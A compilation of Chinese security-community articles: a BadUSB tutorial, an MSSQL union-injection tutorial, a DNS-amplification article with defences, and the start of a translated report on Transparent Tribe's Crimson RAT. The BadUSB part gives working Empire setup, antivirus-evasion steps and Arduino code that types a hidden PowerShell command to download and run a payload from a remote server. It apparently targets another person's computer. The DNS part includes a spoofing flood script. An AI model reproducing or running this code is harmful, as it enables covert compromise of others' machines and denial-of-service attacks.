本来想写个脚本一劳永逸的，但是我在多个平台做了测试，发现安装方式基本都不一样，所以这里只能放出思路了，有需要的朋友可以挨个测试。sudo apt
install 模块名、sudo apt install python-模块名，pip install 模块名和sudo python -m pip
install 模块名。下面是我安装时候缺少的模块,以供参考：
flask openssl iptools netifaces pydispatch pydispatch zlib_wrapper m2crypto
macholib xlrd xlutils crypto crypto dropbox pyminifier
在一切就绪后，在Empire目录下执行sudo ./empire 运行，输入help可以查看帮助文档。
首先设置一个http监听,输入listeners,输入uselistener
http，输入info查看相关参数，这里我们需要设置的是Host，Name和Port。
如图，Host需要设置为接受信息的ip,我这里设置的是我linux服务器的公网ip，默认端口是80，因为这是我的linux服务器，80端口被占用，所以要修改为其他的，这里设置为81。命令如下:set
Name test1,set Host http://xxx.xxx.xxx.xxx:81,set Port 81
设置完成后，输入info确定无误，输入execute启动该监听
接着输入back返回，输入list可以查看当前的监听,接下来test1就将作为我们的监听，用来和我们的木马交流。
监听设置完成后，我们来生成一个powershell脚本。理论上只要输入launcher powershell
test1就可以了，但是在实际测试的时候发现将生成的powershell复制到目标机器，无反应。
思考一段时间感觉可能是设置的原因，这条指令比较简洁，但是省略了某些设置，于是我去看了这个模块的设置参数。输入usestager
multi/launcher,接着输入info查看详细信息，发现有一个选项名为SafeChecks,根据描述判断它是一种检测运行环境是否合适。
解决方案是使用set SafeChecks False将它设置为False即可。
接下来还需要设置用于接收的监听器，set Listener test1，之后直接输入execute执行即可。
如图会生成一串powershell指令，我们只需想办法让对方的电脑执行这串指令就行了。但是我在测试的时候，发现监听有反应，但是无法连接，多方搜索之后发现一篇文章：https://www.mike-gualtieri.com/posts/modifying-empire-to-evade-windows-defender。
大意就是因为Windows检测到了我们脚本里的Invoke-Empire，所以拦截，解决方案就是修改这个名字就可以了。修改
Empire/data/agent/stagers/http.ps1 和 Empire / data /agent/agent.ps1
文件，将Invoke-Empire随便改一个名字。这里我使用的是nano编辑器，这个编辑器对小白比较友好nano
Empire/data/agent/stagers/http.ps1,找到后修改另一处即可。
配置完成后，重新生成一个powershell文件，开一个win10的虚拟机测试，返回结果如下表示成功：
输入agents可以看到现在有一个名为M7485HB6的主机上线，当然也可以使用rename 旧名字 新名字进行冲命名。接着输入interact
M7485HB6便可连接该主机。
现在木马创建成功，接下来就是用badusb导入就行了。
## 调试badusb
badusb就是一种可以模仿成键盘输入指令的usb设备，我用的badusb是个在某宝上买的非常类似U盘的那种，这里为了避免广告嫌疑就不放图了。要调试arduino需要先在他的官网下载IDE，地址如下：https://www.arduino.cc/download_handler.php?f=/arduino-1.8.9-windows.exe。
下载安装完成之后将arduino插入电脑，win10会自己安装驱动，其他版本需要手动安装驱动，驱动文件在该软件的安装目录的drivers文件夹内(装驱动只是为了烧录，与功能的实现无关)，然后需要在工具>开发板处选择leonarodo。
接下来我将结合一个简单的实例讲讲他的基本语法,也可以参考官方文档：https://www.arduino.cc/reference/en/language/functions/usb/keyboard/。
#include<Keyboard.h> //键盘库头文件，必须写
void setup()
{
Keyboard.begin(); //开始键盘通信，和最后的end是一对，必须写
delay(1000); //延时 1000ms
delay(500);
Keyboard.press(KEY_LEFT_GUI); //按下左边的windows键
delay(500);
Keyboard.press('r'); //按下字母 r
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松开左边的windows键
Keyboard.release('r');
delay(500);
Keyboard.println("echo first test"); //模仿键盘输入echo first test
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop() {}
大致语法如上图所示，这段代码效果就是打开运行窗口，输入echo first test
注意
，Keyboard.begin()和Keyboard.end()是一对，必须一个在开头一个在结尾，否则容易出错；Keyboard.press()和Keyboard.release();一个表示按下，一个表示松开，之间最好写一个延迟，里面的内容可以参考官方文档：
https://www.arduino.cc/reference/en/language/functions/usb/keyboard/keyboardmodifiers。
这时候我们只需要对上述命令进行修改就可以达到我们的目的，但是我在实际操作时候遇到两个问题：1.生成的powershell太长，我的badusb内存不够；2.windows10默认设置拒绝任何powershell脚本执行。这两种方法其实都好解决，我这里采取了一种简单的方法，就是通过下面的这条指令从我的服务器上下载脚本然后执行，成功解决了上述烦恼。powershell
-WindowStyle Hidden -NoLogo IEX (New-Object
Net.WebClient).DownloadString(‘http://xxx.xxx.xxx.xxx/badusb/test.txt’);
。我将Empire生成的powershell脚本保存为test.txt,放到我的服务器上，然后通过先下载在运行的方式成功解决上述困扰。
修改后的badusb代码如下
#include <Keyboard.h>
void setup()
{
Keyboard.begin();
Keyboard.begin();
delay(1000);
delay(500);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.releaseAll();
Keyboard.println(powershell -WindowStyle Hidden -NoLogo IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/badusb/test.txt'););
delay(500);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
}
Keyboard.end();
}
然后在工具>端口处选择正确的端口，随后点击导航栏上的小箭头即可烧录到badusb上，成功后会有提示。
## 测试+修改
我在我的笔记本上测试成功之后，忽然发现小姐姐的电脑上装了 腾讯安全管家 ，于是我也在我的本子上装了 腾讯安全管家 ，插入badusb后结果被拦截了。
根据拦截提示发现是因为有了下载所以被拦截，看似无解其实解决方案很简单，badusb除了可以模仿键盘之外还可以模仿鼠标，只要定位到允许点击就行了，参考官方文档：https://www.arduino.cc/reference/en/language/functions/usb/mouse/。
修改得到的最终代码如下：
#include <Mouse.h>
#include <Keyboard.h>
long basic;
long x;
long y;
String powershell;
void setup()
{
basic=9999999;
x=5000000;
y=5000000;
powershell="powershell.exe -WindowStyle Hidden -NoLogo IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/badusb/test.txt');";
Keyboard.begin();
Mouse.begin();
keyboard_gui();
keyboard_powershell();
mouse();
Mouse.end();
Keyboard.end();
}
void keyboard_gui()
{
Keyboard.begin();
delay(1000);
delay(500);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.releaseAll();
}
void keyboard_powershell()
{
Keyboard.println(powershell);
delay(500);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
}
void mouse()
{
delay(500);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,0,0);
Mouse.move(0,-basic,0);
Mouse.move(basic,basic,0);
Mouse.move(basic,0,0);
Mouse.move(x,y,0);
Mouse.click();
delay(500);
Mouse.click();
delay(500);
Mouse.click();
}
void loop() {}
注意：basic,x,y为鼠标移动的距离，具体的情况需要结合代码内的mouse()函数修改，也可以针对不同的防护软件多写几个，挨个实现；powershell为你想输入的代码，直接在这里修改即可；当然，也可以增加汉语输入法绕过，这里因为实际情况就没写。
## 总结
就像我开头的讲的，实现我的目的的方法有很多，但是每一种都会遇到各种困难，遇到困难不要轻易放弃，百度/谷歌都是很好的帮手，另外思路要活。比如powershell默认设置是Restricted(脚本不能运行)，但是我们可以打开
运行
，通过它来运行powershell脚本而不是打开powershell运行脚本，还有就是最后被拦截一样，换个思路，不一定要免杀马那么复杂的东西，运用badusb的特性一样可以绕过。 | 社区文章 |
# MSSQL Union注入新手教程
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://infoseczone.net/mssql-union-based-injection-step-step/>
译文仅供参考，具体内容表达以及含义原文为准。
今天,我将通过这篇文章来一步一步教会大家如何进行MSSQL
Union注入。在这篇文章中,我只会对相关的基础知识内容进行讲解。因为我发现在网上目前没有很多相关的教程,而且目前已有的教程中也并没有讲解得非常详细,所以我决定利用我多年的MS
SQL注入经验,来给大家提供这样的一份基础教程,希望这篇教程可以给大家带来帮助。
首先,我们需要了解与注入有关的一些基础知识,其中就包括如何找出注入类型,如何进行数据库测试,以及如何找到与其它数据库表中相同的列。所以,我建议大家在阅读本教程之前,先去了解一些相关的基础知识,否则你可能会在阅读这篇教程的过程中遇到一定的困难。首先,我们不得不介绍一下什么是MSSQL。MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,它可以为用户提供数据库的从服务器到终端的完整的解决方案。其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。
那么,让我们开始吧………..
首先,MSSQL的代码检测部分与MySQL的是一样的,首先输入一个单引号(编码格式为%27),然后再输入一个双引号(编码格式为%22)来进行错误检测。接下来,我们将主要对基于单引号的注入方式进行讲解。
当我们发现,无论我们使用双引号还是单引号,系统都会给我们提供错误信息,那么其注入类型极有可能为基于整数的SQL注入。因为如果注入基于单引号的话,当我们使用双引号时,系统是不会提示错误信息的。如果注入基于双引号的话,同理可得,在我们使用单引号时,系统同样是不会提示错误信息的。所以我们就可以得出这样的一个结论,当我们使用双引号和单引号时,系统均会向我们提供错误信息的话,我们就可以采用黄金准则,即注入类型为整数类型(integer
type)。
现在,让我们来对查询语句进行分析
从上面给出的这段示例代码中,我们可以了解到,表中数据列的总数为5。
现在,我们可以继续使用“order by”来进行查询。最后我们发现,“5”是最后一个有效数据列。接下来,我们要使用union select语句来进行操作。
如果你得到了如上图所示的错误提示信息,那么在这样的情况之下,我们可以选择使用“null”。
现在,我们需要将每一个数据列转换为“@@version”或者“db_name()”,你可以在下面的视频教程中了解到我是如何进行操作的。
接下来,当我们将“@@version”插入数据列中之后,如果这一列数据存在漏洞,那么我们将会得到如下图所示的信息….
除此之外,我们还有很多其他的方法可以从MSSQL中获取到更多的信息,如下所示:
1.@@version- 获取版本信息;
2.db_name() – 获取datebase()的名称
3.user,system_user,current_user,user_name – 获取当前用户名
4.@@SERVERNAME – 获取有关服务器主机的信息。
现在,我们来提取出表名。下面给出的查询语句与MySQL中的查询语句有一些不同的地方,MSSQL中的查询语句中缺少限制条件。
现在,我们可以利用同样的方法提取出表中相应的列名。查询语句如下所示:
现在,我们可以将数据表和数据列中的信息全部输出。在这里,我们可以使用“%2b”(即符号“+”)来进行数据的拼接。
到这里,我们的操作基本上就快要完成了。
观看视频-MSSQL注入新手教程:
视频地址:[https://youtu.be/kF8dN-eSqhM](https://youtu.be/kF8dN-eSqhM)
在这里,我们的MSSQL Union注入新手教程就到此结束了,希望大家在学习完这部分内容之后,能够勤于练习。感兴趣的读者也可以进行深入学习。 | 社区文章 |
# 测试DNS区域递归漏洞以及避免DNS放大攻击
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://isc.sans.edu/forums/diary/Testing+for+DNS+recursion+and+avoiding+being+part+of+DNS+amplification+attacks/20567/>
译文仅供参考，具体内容表达以及含义原文为准。
尽管专家提醒过很多次，但仍然有非常多的DNS服务器允许递归解析到外网的设备，这一点可以被用来进行DNS放大攻击。
那么怎样攻击呢？通常，攻击者使用僵尸网络向受害者的IP地址发送一个伪造的DNS请求，错误设置的DNS应答会使数据包被发送到受害者的IP地址，从而导致分布式拒绝服务攻击（DDoS）。
怎样测试你的DNS设备是否允许来自外部的递归解析呢？你可以使用这个叫dns-recursion 的nmap脚本：
如果它没有被启用，你只会得到一个开放端口的指示：
这个攻击是怎么运作的？我们来看下面的示意图：
攻击的POC可以很容易地用如下的scapy脚本被执行，由攻击者决定是否执行它：
#!/usr/bin/python
from scapy.all import *
victimIP = raw_input("Please enter the IP address for the victim: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)
我把这个脚本命名为dnscapy.py。当它执行时：
在受害者那边得到如下数据包：
怎样避免这种攻击呢？如果你正在使用bind9，那么把下面这些加入到全局选项。假设你的企业网络是10.1.1.0/24 和10.1.2.0/24：
acl recursiononly { 10.1.1.0/24; 10.1.2.0/24; };
options {
allow-query { any; };
allow-recursion { recursiononly; };
}; | 社区文章 |
**作者：启明星辰ADLab**
**公众号：[区块链智能合约控制流识别的大规模实验研究](https://mp.weixin.qq.com/s?__biz=MzAwNTI1NDI3MQ==&mid=2649614426&idx=1&sn=8a914db1a21fb447c8dc50ed9ddf61ff&chksm=8306354ab471bc5ccd8f405ce2616e8f33ac5d020b0e753d62071c3204b26fb169e8de180c17&mpshare=1&scene=1&srcid=1104XfUKdwPA6IlgmpopRo0u&sharer_sharetime=1572848574053&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=2bbffe7bbfb7d31b1a6c9bffc83ffa046afedcdbc05a3861beac55b656b90e718e259ba63ec83d4e8d0dfd5f0cd0e3a2b6c74e93233128c157a66a1bc922f5c62a6a7f030bf444edb9f3aa793f9b2224&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=f4E9eroPAnE%2FsCon3%2FgpDYBabRgpFy6Vqy1paT7qjGPs6ju5ZSUpR1BCoOVC8qYo
"区块链智能合约控制流识别的大规模实验研究")**
## **一、** **背景介绍**
启明星辰ADLab联合电子科技大学计算机学院（网络空间安全学院）陈厅副教授首次对以太坊区块链智能合约控制流的识别进行大规模研究，研究成果《A Large-Scale Empirical Study on Control Flow Identification of Smart
Contracts》于2019年发表在中国计算机学会（CCF）推荐的B类学术会议International Symposium on Empirical
Software Engineering and
Measurement上。该研究分析了当前6个主流的智能合约静态分析工具，通过对以太坊区块链上已部署的全部合约（约500万）实施执行跟踪来评估他们的静态控制流识别能力。实验证明，一些典型的问题会导致上述流行工具都无法识别全部的控制流（如：不完备的代码模式）。同时，实验发现通过执行跟踪可以有效增强这些工具对控制流的识别。我们通过在OYENTE中引入执行跟踪，实现了把静态控制流分析误报率降低百分之三十。同时，该研究获得了最佳论文提名奖。
## **二、** **研究方法**
### **2.1 智能合约收集**
在以太坊区块链中，每个智能合约都有唯一地址（下文中如无特殊说明，都默认为以太坊区块链上的智能合约）。在已知该地址的条件下，可以通过钱包的编程接口web3.eth.getCode()来获取该合约的字节码。通过这种方式收集智能合约存在两大问题：
1）无法获得所有智能合约的地址，Etherscan等开放平台也仅仅对外开放了部分合约的地址；
2）智能合约可动态删除，在不知道智能合约的区块编号时，该方法就无法获得已删除智能合约的字节码。
为了获得链上所有智能合约的字节码，我们对客户端进行了插桩扩展。具体来说，通过监控evm.Create()来获得智能合约的地址，通过监控evm.StateDB.SetCode()来获得智能合约的字节码。最后通过监控链上智能合约的历史部署活动，从而获得了从2015年7月30日（以太坊启动）到2018年2月10日期间部署的约500万智能合约的字节码。
### **2.2 主流智能合约分析工具**
尽管有一些工具能识别智能合约的控制流，但它们大多不开源或者无法处理字节码形态的智能合约，而实际智能合约绝大部分都不开放源码。最大的etherscan平台也仅仅收录了很小的一部分智能合约的源码。我们的研究选择了如下六款主流面向字节码智能合约的分析工具：
**工具名称** | **特性** | **异常合约数量**
---|---|---
**OYENTE** | 漏洞挖掘，符号执行，路径敏感 | 27,131 (0.5%)
**MAIAN** | 漏洞挖掘，符号执行，路径敏感 | 115,286 (2.3%)
**Mythril** | 漏洞挖掘，符号执行，路径敏感 | 0
**evmdis** | 反汇编器，路径不敏感 | 0
**Miasm** | 反汇编器，模式识别，路径不敏感 | 0
**Porosity** | 反汇编器，模式识别，路径不敏感 | 0
上述六款工具中，路径敏感的工具可能比路径不敏感的工具发现更多的控制转移路径，因为它们不会检查在实际条件下的路径可达性。其中OYENTE和MAIAN在处理某些合约时会触发异常，我们分析发现有三类原因：恶意无效字节码、不支持的操作和求解器异常。为了深入比较，我们修复了这三类导致异常的软件缺陷。
### **2.3 智能合约控制流分析**
以太坊区块链智能合约包含一系列虚拟机（EVM）操作，目前支持130+的EVM操作，其中8种操作可以导致控制流转移，具体来说：
1） 2种合约内跳转操作，EVM指令为JUMP/JUMPI，导致在同一个合约内的控制转移；
2） 6种合约间跳转操作，EVM指令为CREATE/CALL/CALLCODE/DELEGATECALL/
STATICCALL/SELFDESTRUCT，导致控制转移到另外一个地址的智能合约内。
通过对约500万智能合约的分析，我们发现其中绝大部分都是合约内控制转移，因此本次研究集中分析合约内的控制流转移，JUMP和JUMPI指令的含义如下：
指令 | 类型 | 解释
---|---|---
JUMP | 无条件跳转 | 栈顶元素为转移目标地址
JUMPI | 条件跳转 | 栈顶元素为转移目标地址，栈顶下一元素不为0则转移
同传统x86二进制逆向分析相比，智能合约存在一些显著的差异。
1）目标地址都存储在堆栈上，增加了识别难度；
2）合约类函数调用没有传统的call指令，统一编译为JUMP指令，增加了函数识别难度。
我们总结了如下的6种智能合约的控制转移模式：
显然，模式a可以快速静态识别，模式b必须要模拟堆栈操作，模式c则必须模拟运算，模式d则必须模拟pc，模式e则必须模拟内存读写，模式f则更加复杂。为了统一分析当前流行工具的智能合约控制流识别分析能力，我们定义控制转移记录为，使用上述工具对每一个智能合约进行控制流分析，并记录三种信息：
1）每个工具各自发现的控制转移记录，
2）上述工具输出控制转移记录都相同的合约，
3）上述工具都发现的控制转移记录。
## **三、** **研究结果**
我们采用上述工具对全部智能合约进行实验，对每个工具发现的控制转移记录数量进行了统计，如下图所示。其中，MAIAN工具发现的数量最少。通过分析MAIAN的源码发现根源是其一旦发现漏洞就会停止，导致很多路径未被分析。进一步分析该工具发现，是因为其只针对三种类型智能合约漏洞的挖掘。OYENTE比Mythril能发现更多漏洞，分析工具源码发现它们都是基于符号执行，但是前者支持更深层次的代码路径。Mythril/
evmdis发现的路径数量都比Porosity少，因为前两者都是递归式的反汇编处理。
**发现1：由于采用的技术或者配置不同，所以当前主流工具识别的智能合约控制流数量差别较大；线性反汇编比递归反汇编能识别更多控制流，因为递归分析在识别到非法转移目标时就停止工作。**
针对基于符号执行的三个分析工具（OYENTE/ MAIAN/
Mythril），我们采用这些工具统计每个智能合约的JUMP数量和发现的控制转移记录平均数量如下图所示。实验发现，JUMP数量200以下时，控制转移记录数量跟JUMP数量保持线性关系。JUMP数量能够表示智能合约的复杂度，显然随着合约复杂度上升，合约的控制转移数量也就更多。但是这个线性关系在JUMP数量超过200时就不再保持，进一步分析发现这是因为这些工具都设置了不同的符号执行结束条件。我们对另外三个反汇编器（evmdis/
Miasm/
Porosity）进行实验，同样发现了相似的结论，在JUMP数量300以下同样保持良好的线性关系。进一步分析发现，这三个工具在分析结束条件上同样也存在较大差异。
**发现2：不同分析工具在分析复杂智能合约控制流时能力差异较大，典型原因有路径爆炸、提前结束条件和不完备的代码模式。**
为了分析智能合约的复杂性变化，我们跟踪了从以太坊区块链启动以来每周新建合约的字节平均数量和JUMP操作平均数量如下图所示，发现智能合约的体积和复杂度都在持续增长。这显然对智能合约分析工具的能力提出了更高的要求。
为了研究上述工具的控制流分析差异，我们统计了在不同工具处理结果中都相同的合约的占比如下表所示。无论是符号执行工具还是反汇编工具，控制流分析输出相同的合约都占比很小。进一步针对工具的相互比对分析如下图所示，发现只有evmdis跟Porosity的分析能力比较接近，但也仅针对46%的智能合约才具备相似的控制流分析结果。
**发现3：上述的6款主流分析工具仅针对1.7%的智能合约才能识别出相同的控制流转移。**
类别 | 输出相同的合约占总合约比率 | 详情
---|---|---
基于符号执行的工具 | 7% | OYENTE/ MAIAN/ Mythril
基于反汇编的工具 | 5% | evmdis/ Miasm/ Porosity
全部工具 | 1.7% | 上述全部
针对上述路径敏感性类型的三种合约分析工具（OYENTE/ MAIAN/
Mythril），我们通过实验收集了控制流输出相同的全部合约，然后对它们进行了复杂度分析，结果如下图所示。显然，随着合约复杂度增加，三种工具分析结果相同的合约数量在减少。
针对路径不敏感的三种工具（evmdis/ Miasm/
Porosity），我们分别计算每个合约中它们发现的控制转移记录并集和合集，同时计算每个合约的复杂度，然后得到如下图的分析。显然，针对任何一个合约，如果其复杂度越高，这三种工具发现的相同控制转移记录就越少。
**发现4：合约的复杂度越高，不同分析工具得到一致结果越困难。**
为了提升合约分析工具的控制流分析能力，我们提出了基于执行trace的控制流识别增强。智能合约执行trace的一种获取方式是通过标准编程接口
web3.debug.traceTransaction()，但该接口需要提供合约执行的交易哈希值。同时，该接口的运行效率很低，通过分析源码发现其在获取trace之前需要做：运行环境初始化、构建正确状态和重放交易记录，同时web3编程接口是RPC调用过程。因此，效率难以提升。最终，我们选择了对以太坊区块链终端进行插桩，因为该终端能执行全部的历史合约操作。具体来说，我们对JUMP和JUMPI操作进行了插桩，最终得到了6300万的执行trace。同时，我们也对这些trace进行了切割，因为合约的执行trace记录会包括合约内的控制转移和合约间的控制转移。然后我们对上述工具识别的控制流和执行trace获得的控制流进行了分析，发现执行trace可以提升上述工具的控制流识别能力，尤其是对于MAIAN和Miasm工具，提升能力皆超过百分之八十。即使是最优秀的控制流发现工具Porosity，提升能力也有百分之十。
**发现5：执行trace可以有效提升上述工具的智能合约控制流识别能力，能发现这些工具不能发现的控制转移** 。
为了验证基于执行trace的有效性，我们选择了OYENTE工具进行增强实现和验证，增强的具体算法如下图所示。我们对OYENTE的源码进行修改以嵌入该增强算法，然后对OYENTE能识别的四种合约漏洞进行了实验，结论见下表。针对交易顺序依赖、时间依赖和重入类型的漏洞，增强OYENTE能检测更多的漏洞。针对未处理异常漏洞，增强OYENTE不能提升检测能力。对OYENTE源码分析发现，这是因为这类漏洞是直接用合约字节码扫描来检测的，与控制流分析无关。
| **OYENTE** | **OYENTE(增强)**
---|---|---
**Transaction-Ordering Dependence** | 460,626 | 521,330
**Timestamp Dependence** | 154,871 | 183,668
**Mishandled Exceptions** | 115,731 | 115,731
**Reentrancy Vulnerability** | 81,931 | 57,392
## **四、** **研究总结**
此次针对以太坊区块链智能合约控制流识别的大规模深度研究，我们取得了多项新的发现。通过插桩以太坊客户端，收集了全部的智能合约并还原了全部的执行trace。实验证明，执行trace可以提升当前主流的智能合约分析工具的控制流识别能力，该发现将有助于以太坊用户、开发者和研究分析人员开展更深入的智能合约研究。
* * * | 社区文章 |
# 小谈智能硬件安全
|
##### 译文声明
本文是翻译文章，文章来源：L.N.@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
**一、前言**
随着智能硬件产品慢慢的进入人们的生活，给人们生活带来便利的同时，智能硬件产品的安全问题，也慢慢的引起了人们和厂商的重视。怎样的做好智能硬件的安全，现在各家有各家的说话，还未形成统一的标准和流程。本文仅是我个人对智能硬件的一些安全认知和见解，不对的地方望指正。
智能硬件是通过软硬结合的方式，使传统的硬件设备拥有一些智能化的功能，其中的网络连接功能，使得智能设备能够接入互联网，因此“云端+终端+手机app”的典型构架，基本是现有智能设备的基本构架。
**本文将从云端、手机app、终端三个大方面和一些真实案例探讨一下智能硬件的安全。**
**二、云端**
在整个基础构架中，云端处在数据收集和处理以及命令传输与转发的节点上，它连接并控制着所有智能设备。如果云端被攻击者控制，危害将不可估量。
在目前物联网还没有大规模的进入人们生活的时代，通讯协议是多种多样，各大厂商根据自身业务需求，或是自己研发，或是修改现有协议，亦或是直接沿用现有协议。由于协议开发的初期对安全的忽视或是对协议生硬的移植，使得通信安全变得非常脆弱。常见的连接云端的通讯协议有http、websocket、xmpp、mqtt等。
在http方面，目前很多厂商云端建设仅仅使用简单的web程序接口的形式使设备联网。但又由于必须由设备主动向服务器发送数据，难以主动向设备推送数据，因此加入websocket来解决这一问题。这样云端的安全将变的非常的脆弱，熟悉web安全的人很容易就能熟练的挖掘云端漏洞。
目前最常见的云端漏洞还是鉴权设计问题造成的越权漏洞。当然web程序的弱口令、登陆接口爆破、sql注入、XSS等等漏洞也是有出现的。例如：
分类
|
名称
|
简诉
---|---|---
云端接口漏洞
|
《[DIGICARE智能手环APP控制不严格可获取其他用户敏感信息](http://www.wooyun.org/bugs/wooyun-2010-0135693)》
|
在用户app，个人信息更新中存在修改userid水平越权漏洞
数据泄漏
|
《[哇喔科技(WAAWO)某处漏洞泄露所有用户数据+客户订单（可远程操控上千设备）](http://www.wooyun.org/bugs/wooyun-2010-0131638)》
|
网站存在sql注入漏洞，泄漏用户账号密码，使用账号密码登陆云端，控制手表
控制指令接口漏洞
|
《[智能家居安全之海尔某核心站点控制wsdl谁动了我的家电+其他漏洞](http://www.wooyun.org/bugs/wooyun-2010-0126364)》
|
弱口令登陆云端后台，操控后台控制指令接口
云端接口无权限控制
|
《[海克智动家庭空气指数APP越权漏洞可导致大量空气设备面非法控制](http://www.wooyun.org/bugs/wooyun-2010-0124980)》
|
抓apk包，发现接口无权限控制，枚举sn设备码，发送控制指令
在xmpp方面，作为即时聊天协议，和现有物联网设备通信的模式非常相似。由于xmpp的开放性和易用性，使得开发者能够很快的应用与现有物联网环境，成本低、开放快。但因开发者的水平参差不齐，对xmpp协议传输数据的加密处理、云端用户鉴权隔离和用户认证信息的存储不当造成验证的安全隐患。
目前在我们的研究中使用了xmpp协议的设备有TCL智能洗衣机和小K智能插座2代。
分类
|
名称
|
简诉
---|---|---
鉴权不严
|
[《TCL智能洗衣机破解》](http://bobao.360.cn/learning/detail/602.html)
|
云端对洗衣机终端的鉴权不严，以及数据明文传输
鉴权不严
|
《小K智能插座2代》
|
用户密码可以预测（mac地址）
**三、手机APP**
手机APP在整个基础构架中处在控制端。移动互联网的出现，使得手机app作为控制端是非常好的选择。通过云端的转发以及数据分析，我们很好的实现对智能设备的远程控制和实时监控。如果手机app出现了漏洞，将直接威胁到智能设备以及隐私数据，比如：智能设备被攻击者劫持、个人隐私数据被曝光（身高、体重、三围、血压等等）。
目前常见的出现在APP端的安全风险有：APP重打包、传输加密算法破解、数据重放、身份伪造等等。
**四、终端**
在终端这块儿，智能设备之所以能叫智能设备，就是因为加入了联网模块，有云端的数据分析和指令下放。终端我们可以把它抽象成我们熟知的PC，这样终端必然也有自己的系统、服务。目前比较常见的基本都是使用类linux的系统，也有自己研发的物联网系统，如：MICO、Brillo、LITOS等等。
因此常见的终端漏洞有：ftp、telnet等服务弱身份验证；固件升级接口代码执行；敏感数据固化于固件中；固件中的溢出、命令执行，加密方式泄漏等等。
在固件溢出和命令执行方面，由于flash的大小限制亦或是固件代码多种做样，所以开发忽视安全也特别明显，如D-LinkDSP-W215的溢出漏洞，很简单的没有检测字符长度造成溢出。
在服务权限验证方面，很多嵌入式系统开放调试接口，在开发者移植现有物联网系统并进行二次开发的时候，由于对物联网系统的不了解，未关闭物联网系统自带的很多默认功能，导致安全隐患。如开启telnet、tftp等服务的默认开发和默认口令。
在敏感数据方面，在安全中有一项原则：“代码数据分离原则”。很多厂商把很多敏感数据固化在固件之中，一旦固件被逆向分析，敏感数据全部暴力。如：用户密码被写入固件，加密key被固化等等。
分类
|
名称
|
简诉
---|---|---
溢出漏洞
|
[《D-LinkDSP-W215智能插座远程命令执行》](http://drops.wooyun.org/papers/2015)
|
数据参数没有长度检测，直接压入堆栈
数据固化
|
[《施耐德PLC以太网模块固件后门》](http://mp.weixin.qq.com/s?__biz=MzA5OTMwMzY1NQ==&mid=207094710&idx=1&sn=13fc594d15729bd7e001a48b90d827c4&scene=23&srcid=0912VzF1MkrdCui8NAyqLquR)
|
用户名密码固化在代码中
**五、案例简诉**
1\. 智能手环
小米手环未授权访问漏洞，小米手环因调试模式未关闭调用请求，造成在蓝牙的有效范围内，攻击者可以读取小米手机中用户的运动、身体等数据，还原用户的运动轨迹，还可以恶作剧的控制手环不停的震动。
2\. 智能家居
萤石A1互联网报警盒子套装劫持漏洞，萤石A1是新一代的智能安防设备，通过在门窗上装的传感器与报警主机相连，报警主机再与云端相连的方式，实时监控房屋安全情况。因为传感器和报警主机相连的方式射频信号并且使用433MHz频段，攻击者通过重放攻击（虽然设备有防重放攻击安全措施，但因防护不够严谨被绕过）使报警主机错误报警。攻击者还可以无线电干扰技术使得报警主机不能准确的接收报警数据，使报警功能失效。
3\. 智能生活
TCL智能洗衣机劫持漏洞，TCL智能洗衣机使用xmpp协议作为互联网通讯协议，但因为鉴权不严、数据固化、明文传输等安全缺陷，造成攻击者可以劫持控制所有TCL智能洗衣机。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：[https://securelist.com/](https://securelist.com/transparent-tribe-part-1/98127/)**
## 背景和主要发现
透明部落（又称PROJECTM和MYTHIC LEOPARD）是一个活动频繁的组织，其活动可以追溯到2013年。Proofpoint
在2016年发表了一篇有关他们的[很好的文章](https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf)，从那时起，我们一直关注着。我们已经通过APT威胁情报报告了他们的活动，在过去的四年中，这个APT小组从未休假。他们的目标通常是印度军方和政府人员。
多年来，该小组TTP一直保持一致，不断使用某些工具并为特定的活动创建新的程序。他们最喜欢的感染媒介是带有嵌入式宏的恶意文档，这些文档似乎是由自定义生成器生成的。
他们的主要恶意软件是自定义的.NET RAT，俗称Crimson RAT，但多年来，我们还观察到了其他自定义.NET恶意软件和基于Python的RAT
Peppy的使用。
在过去的一年中，我们看到该组织加强了其活动，开始了大规模的感染运动，开发了新的工具并加强了对阿富汗的关注。
我们最近的调查将在两个博客文章中进行介绍。第一部分将涵盖以下关键点：
* 我们发现了Crimson Server组件，这是Transparent Tribe用来管理受感染机器和进行间谍活动的C2。该工具证实了我们对Crimson RAT的大多数观察结果，并帮助我们了解了攻击者的观点。
* 透明部落继续传播深红RAT，感染了多个国家（主要是印度和阿富汗）的受害者。
* USBWorm组件是真实的，并且已在数百个系统上检测到它。这种恶意软件的存在早在几年前就已被推测出来，但是据我们所知，它从未被公开描述过。
本文将更多地讨论TransparentTribe及其有关GReAT
Ideas的工具。由SAS网络研讨会于8月26日提供支持，您可以在此处进行注册：<https://kas.pr/1gk9>
## 深红服务器
深红是透明部落从事间谍活动的主要工具。该工具由各种组件组成，攻击者使用这些组件在受感染的计算机上执行多种活动：
* 管理远程文件系统
* 上传或下载文件
* 截图
* 使用麦克风进行音频监视
* 记录来自摄像头设备的视频流
* 截图
* 窃取可移动媒体中的文件
* 执行任意命令
* 记录击键
